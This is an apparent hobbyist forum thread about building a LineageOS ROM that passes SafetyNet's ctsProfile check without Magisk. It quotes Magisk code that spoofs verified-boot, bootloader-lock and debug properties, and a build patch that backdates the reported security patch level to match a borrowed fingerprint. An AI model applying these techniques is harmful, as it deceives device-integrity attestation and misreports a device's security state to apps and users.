So to my understanding, is that you've been able pass the basic integrity check, but not the ctsProfile, however, once you flash Magisk, it all sudden starts working w/o the MagiskProps module?? My goal for my builds of lineage is to completely get rid of Magisk as a whole, and have the apps I normally flash with Magisk pre-installed (just YouTube Vanced and Viper4android at the moment) and a few build.prop tweaks.
What I'm thinking for conquering this idea of yours is to copy the files that MagiskProps creates/modifies in it's module directory, and then have those files pushed automatically to the image when being built.
What do you think of that?

GT3CH1 said:
So to my understanding, is that you've been able pass the basic integrity check, but not the ctsProfile, however, once you flash Magisk, it all sudden starts working w/o the MagiskProps module?? My goal for my builds of lineage is to completely get rid of Magisk as a whole, and have the apps I normally flash with Magisk pre-installed (just YouTube Vanced and Viper4android at the moment) and a few build.prop tweaks.
What I'm thinking for conquering this idea of yours is to copy the files that MagiskProps creates/modifies in it's module directory, and then have those files pushed automatically to the image when being built.
What do you think of that?
Click to expand...
Click to collapse
Hey, yes we have similar goals there. I'm hoping to build Lineage without the need for Magisk to pass SafetyNet including the CTS profile check, and add in my own selection of apps etc.
I have been looking at the code for Magisk, hoping to work out exactly what it does. I'm not so sure it will be as simple as copying files as you have said above, although I have toyed with that idea in my head. If you work out how to do that, certainly let us know.
Another idea I had was to see if Magisk can be compiled to act as it currently does but without including the su, busybox, and other binaries that would trip SafetyNet.
Edit: I'm also just trying to find specific things that Magisk does to aid hiding. For example, I found this in the hide_policy.cpp file:
Code:
static const char *prop_key[] =
{ "ro.boot.vbmeta.device_state", "ro.boot.verifiedbootstate", "ro.boot.flash.locked",
"ro.boot.veritymode", "ro.boot.warranty_bit", "ro.warranty_bit", "ro.debuggable",
"ro.secure", "ro.build.type", "ro.build.tags", "ro.build.selinux", nullptr };
static const char *prop_value[] =
{ "locked", "green", "1",
"enforcing", "0", "0", "0",
"1", "user", "release-keys", "0", nullptr };
void hide_sensitive_props() {
LOGI("hide_policy: Hiding sensitive props\n");
// Hide all sensitive props
for (int i = 0; prop_key[i]; ++i) {
auto value = getprop(prop_key[i]);
if (!value.empty() && value != prop_value[i])
setprop(prop_key[i], prop_value[i], false);
}
}
That is used to override some of the props, if they aren't empty and don't match the required values. In the case of my build, they all match the values above or are empty. So I'm still digging into the code to find out what else might be needed. I do know that SELinux is set to Enforcing (hence my patch in my previous post) as another example.

NZedPred said:
Hey, yes we have similar goals there. I'm hoping to build Lineage without the need for Magisk to pass SafetyNet including the CTS profile check, and add in my own selection of apps etc.
I have been looking at the code for Magisk, hoping to work out exactly what it does. I'm not so sure it will be as simple as copying files as you have said above, although I have toyed with that idea in my head. If you work out how to do that, certainly let us know.
Another idea I had was to see if Magisk can be compiled to act as it currently does but without including the su, busybox, and other binaries that would trip SafetyNet.
Edit: I'm also just trying to find specific things that Magisk does to aid hiding. For example, I found this in the hide_policy.cpp file:
Code:
static const char *prop_key[] =
{ "ro.boot.vbmeta.device_state", "ro.boot.verifiedbootstate", "ro.boot.flash.locked",
"ro.boot.veritymode", "ro.boot.warranty_bit", "ro.warranty_bit", "ro.debuggable",
"ro.secure", "ro.build.type", "ro.build.tags", "ro.build.selinux", nullptr };
static const char *prop_value[] =
{ "locked", "green", "1",
"enforcing", "0", "0", "0",
"1", "user", "release-keys", "0", nullptr };
void hide_sensitive_props() {
LOGI("hide_policy: Hiding sensitive props\n");
// Hide all sensitive props
for (int i = 0; prop_key[i]; ++i) {
auto value = getprop(prop_key[i]);
if (!value.empty() && value != prop_value[i])
setprop(prop_key[i], prop_value[i], false);
}
}
That is used to override some of the props, if they aren't empty and don't match the required values. In the case of my build, they all match the values above or are empty. So I'm still digging into the code to find out what else might be needed. I do know that SELinux is set to Enforcing (hence my patch in my previous post) as another example.
Click to expand...
Click to collapse
Hmm. I wonder if Magisk is using itself to check ctsProfile via root... It would make sense to me if it did.
Are you able to install Google Apps through the playstore (ie Google Calendar). When I had a failing ctsProfile, I wasn't able to install google calendar.

Eureka!
GT3CH1 said:
Hmm. I wonder if Magisk is using itself to check ctsProfile via root... It would make sense to me if it did.
Are you able to install Google Apps through the playstore (ie Google Calendar). When I had a failing ctsProfile, I wasn't able to install google calendar.
Click to expand...
Click to collapse
I believe the phrase is "Eureka!"
I erred before - when I went back to installing Magisk, of course it keeps modules installed, which resulted in the pass. It would have failed...
However, reading the props module read me said that the security_patch date had to match that of the fingerprint. So I ended the build/make/core/version_defaults.mk file so that PLATFORM_SECURITY_PATCH is 2019-10-06 as per this patch:
Code:
diff --git a/core/version_defaults.mk b/core/version_defaults.mk
index b803ff81a..08ffb1a53 100644
--- a/core/version_defaults.mk
+++ b/core/version_defaults.mk
@@ -250,7 +250,7 @@ ifndef PLATFORM_SECURITY_PATCH
# It must be of the form "YYYY-MM-DD" on production devices.
# It must match one of the Android Security Patch Level strings of the Public Security Bulletins.
# If there is no $PLATFORM_SECURITY_PATCH set, keep it empty.
- PLATFORM_SECURITY_PATCH := 2019-11-05
+ PLATFORM_SECURITY_PATCH := 2019-10-06
endif
.KATI_READONLY := PLATFORM_SECURITY_PATCH

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